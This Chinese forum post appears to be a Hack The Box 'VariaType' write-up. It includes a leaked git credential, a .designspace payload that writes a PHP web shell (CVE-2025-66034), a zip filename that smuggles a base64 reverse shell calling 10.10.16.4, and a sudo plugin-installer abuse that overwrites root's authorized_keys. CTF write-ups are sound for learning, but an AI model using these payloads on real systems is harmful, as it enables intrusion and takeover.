找回密码
 立即注册
首页 业界区 业界 【渗透测试】HTB Season10 VariaType 全过程wp

【渗透测试】HTB Season10 VariaType 全过程wp

金娅鸣 昨天 20:20
VariaType

信息收集

1.png

2.png

进行子域名枚举得到
portal
portal.variatype.htb
扫描一下这个子域名的目录
3.png

可以看到git泄露
使用githack
4.png
  1. gitbot/G1tB0t_Acc3ss_2025!
复制代码
漏洞利用(CVE-2025-66034)

5.png

我们在本地写一个exp.designspace
  1. <?xml version='1.0' encoding='UTF-8'?>
  2. <designspace format="5.0">
  3.   
  4.    
  5.       <labelname xml:lang="en"><![CDATA[<?php system($_GET["cmd"]); ?>]]]]><![CDATA[>]]></labelname>
  6.       <labelname xml:lang="fr">Regular</labelname>
  7.     </axis>
  8.   </axes>
  9.   <sources>
  10.     <source filename="source-light.ttf" name="Light">
  11.       <location><dimension name="Weight" xvalue="100"/></location>
  12.     </source>
  13.     <source filename="source-regular.ttf" name="Regular">
  14.       <location><dimension name="Weight" xvalue="400"/></location>
  15.     </source>
  16.   </sources>
  17.   <variable-fonts>
  18.     <variable-font name="MyFont" filename="/var/www/portal.variatype.htb/public/files/shell.php">
  19.       
  20.         
  21.       </axis-subsets>
  22.     </variable-font>
  23.   </variable-fonts>
  24. </designspace>
复制代码
也可以使用脚本
symphony2colour/varlib-cve-2025-66034:fontTools 可变字体生成流水线中针对 CVE-2025-66034 的概念验证漏洞。精心设计的 .designspace 文件允许控制输出路径,从而实现任意文件写入。该脚本自动化了有效载荷的创建、字体生成和上传,以演示这个问题。
  1. python3 varlib_cve_2025_66034.py --ip 10.10.16.4 --port 4444 --path /var/www/portal.variatype.htb/public/files --trigger http://portal.variatype.htb/files --url http://variatype.htb/tools/variable-font-generator/process
复制代码
得到shell
6.png

横向移动

7.png

我们可以构造一个恶意的tar文件完成命令执行
  1. echo 'bash -i >& /dev/tcp/10.10.16.4/5555 0>&1' | base64
  2. import zipfile
  3. payload = "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzU1NTUgMD4mMQo="
  4. exploit_filename = f"$(echo {payload}|base64 -d|bash).ttf"
  5. with zipfile.ZipFile('/tmp/exploit.zip', 'w') as zipf:
  6.     zipf.writestr(exploit_filename, "dummy content")
  7. print("exploit.zip created")
复制代码
  1. wget http://10.10.16.4/exploit.zip
复制代码
8.png

9.png

权限提升

10.png

查看/opt/font-tools/install_validator.py
  1. #!/usr/bin/env python3
  2. """
  3. Font Validator Plugin Installer
  4. --------------------------------
  5. Allows typography operators to install validation plugins
  6. developed by external designers. These plugins must be simple
  7. Python modules containing a validate_font() function.
  8. Example usage:
  9.   sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
  10. """
  11. import os
  12. import sys
  13. import re
  14. import logging
  15. from urllib.parse import urlparse
  16. from setuptools.package_index import PackageIndex
  17. # Configuration
  18. PLUGIN_DIR = "/opt/font-tools/validators"
  19. LOG_FILE = "/var/log/font-validator-install.log"
  20. # Set up logging
  21. os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
  22. logging.basicConfig(
  23.     level=logging.INFO,
  24.     format='%(asctime)s [%(levelname)s] %(message)s',
  25.     handlers=[
  26.         logging.FileHandler(LOG_FILE),
  27.         logging.StreamHandler(sys.stdout)
  28.     ]
  29. )
  30. def is_valid_url(url):
  31.     try:
  32.         result = urlparse(url)
  33.         return all([result.scheme in ('http', 'https'), result.netloc])
  34.     except Exception:
  35.         return False
  36. def install_validator_plugin(plugin_url):
  37.     if not os.path.exists(PLUGIN_DIR):
  38.         os.makedirs(PLUGIN_DIR, mode=0o755)
  39.     logging.info(f"Attempting to install plugin from: {plugin_url}")
  40.     index = PackageIndex()
  41.     try:
  42.         downloaded_path = index.download(plugin_url, PLUGIN_DIR)
  43.         logging.info(f"Plugin installed at: {downloaded_path}")
  44.         print("[+] Plugin installed successfully.")
  45.     except Exception as e:
  46.         logging.error(f"Failed to install plugin: {e}")
  47.         print(f"[-] Error: {e}")
  48.         sys.exit(1)
  49. def main():
  50.     if len(sys.argv) != 2:
  51.         print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
  52.         print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
  53.         sys.exit(1)
  54.     plugin_url = sys.argv[1]
  55.     if not is_valid_url(plugin_url):
  56.         print("[-] Invalid URL. Must start with http:// or https://")
  57.         sys.exit(1)
  58.     if plugin_url.count('/') > 10:
  59.         print("[-] Suspiciously long URL. Aborting.")
  60.         sys.exit(1)
  61.     install_validator_plugin(plugin_url)
  62. if __name__ == "__main__":
  63.     if os.geteuid() != 0:
  64.         print("[-] This script must be run as root (use sudo).")
  65.         sys.exit(1)
  66.     main()
复制代码
  1. sudo /usr/bin/python3 /opt/font-tools/install_validator.py 'http://10.10.16.4//root/.ssh/authorized_keys'
复制代码
11.png

这里可以看到,name被取做了authorized_keys。我们修改编码。这样做是为了让我们的服务器能够正确找到文件,并且也让%2froot%2f.ssh%2fauthorized_keys成为name参数
  1. sudo /usr/bin/python3 /opt/font-tools/install_validator.py 'http://10.10.16.4/%2froot%2f.ssh%2fauthorized_keys'
复制代码
12.png

已经成功让目标机器把 Kali 的 authorized_keys 下载到了 /root/.ssh/authorized_keys,这意味着你可以直接用 SSH 免密登录 root 账号,拿到最高权限。
直接ssh@variatype.htb
13.png


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册